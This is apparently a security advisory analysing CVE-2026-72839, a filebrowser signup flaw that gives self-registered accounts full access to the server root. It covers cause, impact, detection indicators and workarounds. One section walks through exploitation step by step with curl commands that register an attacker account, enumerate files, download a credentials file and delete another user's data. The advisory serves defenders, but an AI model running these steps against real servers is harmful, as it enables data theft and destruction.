CVE-2026-72839: 
Wolfi vulnerability analysis and mitigation

CVE-2026-72839 is a critical authorization bypass vulnerability in filebrowser (versions through 2.63.16) that allows unauthenticated attackers to self-register accounts inheriting the server root scope with full file permissions. When self-signup (Signup=true) is enabled alongside the factory-default CreateUserDir=false setting, newly registered accounts receive scope / (the entire server root) plus create, modify, delete, rename, share, and download permissions. The vulnerability was published on August 13, 2026, with a GitHub Security Advisory (GHSA-6759-996p-gpj6) published July 25, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 9.3 (Critical) (GitHub Advisory, filebrowser Advisory).

The root cause is an incorrect privilege assignment (CWE-266) combined with insecure default initialization (CWE-1188) in the signupHandler endpoint (POST /api/signup). The handler calls d.settings.Defaults.Apply(user), which copies the default scope (.) and full permission set to the new user, then only strips Admin, Execute, and Commands privileges — leaving the six CRUD permissions intact. The scope is only reset to a user-specific directory when CreateUserDir=true, but since this setting defaults to false, the branch is skipped. Subsequently, MakeUserDir normalizes the scope . to / via path.Join("/", "."), persisting the account with access to the entire server root. This vulnerability is a bypass of previous signup hardening applied for CVE-2026-32760, CVE-2026-34528, and CVE-2026-35607, which only removed admin/execute/command privileges but never addressed scope or CRUD permissions (filebrowser Advisory).

Successful exploitation grants an unauthenticated attacker full read, write, and delete access to every file managed by the filebrowser instance, including other users' private files, configuration files, secrets, and any host paths mounted into the served directory. An attacker can exfiltrate sensitive data (credentials, financial records, private documents), overwrite or plant malicious content (e.g., web shells if the served tree overlaps a web root), or delete files causing data loss and denial of service for all users. In multi-tenant deployments, a single self-registered account can read and destroy every other user's files, constituting a complete multi-tenant breakout (filebrowser Advisory, GitHub Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). However, the attack requires no authentication, no special tools, and only a single non-default configuration change (enabling signup) by an administrator — making it trivially exploitable once that condition is met. The EPSS score is currently 0.0, and the vulnerability has not been added to the CISA KEV catalog. No threat actor attribution has been reported (filebrowser Advisory).

1. Reconnaissance: Identify internet-facing filebrowser instances (versions ≤ 2.63.16) using tools like Shodan or Censys, searching for the filebrowser web interface on common ports (e.g., 80, 8080, 8090).
2. Verify self-signup is enabled: Attempt to access the signup page or send a POST /api/signup request; a non-error response confirms signup is enabled.
3. Register an attacker-controlled account: Send an unauthenticated HTTP POST request to the signup endpoint:

   curl -X POST http://<target>/api/signup -H 'Content-Type: application/json' \
     -d '{"username":"attacker","password":"AttackerPass123!"}'

4. Authenticate and obtain a JWT: Log in with the newly created account to retrieve an authentication token:

   TOKEN=$(curl -s -X POST http://<target>/api/login -H 'Content-Type: application/json' \
     -d '{"username":"attacker","password":"AttackerPass123!"}')

5. Enumerate the server root: List all files and directories accessible from the server root:

   curl -s "http://<target>/api/resources/" -H "X-Auth: $TOKEN"

6. Exfiltrate sensitive files: Download any file of interest:

   curl -s "http://<target>/api/raw/sensitive/db_creds.txt" -H "X-Auth: $TOKEN"

7. Modify or delete files: Overwrite, rename, or delete files to cause data loss or plant malicious content:

   curl -s -X DELETE "http://<target>/api/resources/user2/finance.csv" -H "X-Auth: $TOKEN"

   (filebrowser Advisory)

• Network: Unexpected POST /api/signup requests from external or unknown IP addresses; subsequent GET /api/resources/ requests listing the root directory (/) from newly registered accounts; bulk GET /api/raw/ requests downloading files across multiple directories.
• Logs: filebrowser access logs showing a new user registration followed immediately by root-level resource enumeration (GET /api/resources/) and file downloads (GET /api/raw/); DELETE /api/resources/ requests resulting in HTTP 204 from accounts created via self-signup.
• Application State: Presence of unexpected user accounts in the filebrowser user database with scope: "/" and all CRUD permissions (create, modify, delete, rename, share, download all set to true), especially accounts created recently and not provisioned by an administrator.
• File System: Missing files or unexpected new/modified files in the filebrowser-served directory; presence of web shells or unexpected executables if the served directory overlaps with a web root. (filebrowser Advisory)

No patched version has been released as of the advisory publication date; the affected range is all versions ≤ 2.63.16 with no listed patched version. The primary workaround is to disable self-signup (Signup=false) if it is not strictly required. If self-signup must remain enabled, administrators should enable CreateUserDir=true so that new accounts are scoped to a user-specific subdirectory rather than the server root, and should also review and restrict the default permissions assigned to new users. A startup warning has been added to alert administrators when signup is enabled without createUserDir and the default scope resolves to root. Administrators should also review the updated best practices documentation at filebrowser.org (filebrowser Advisory, GitHub Advisory).

The vulnerability was reported by researcher je-lv and published by filebrowser maintainer hacdias via a GitHub Security Advisory on July 25, 2026. The advisory characterizes the issue as "mostly a configuration footgun" while acknowledging the severity of the impact, noting that the resolution focuses on a startup warning and documentation updates rather than a code-level permission reset. No significant broader media coverage or notable social media commentary has been identified at this time (filebrowser Advisory).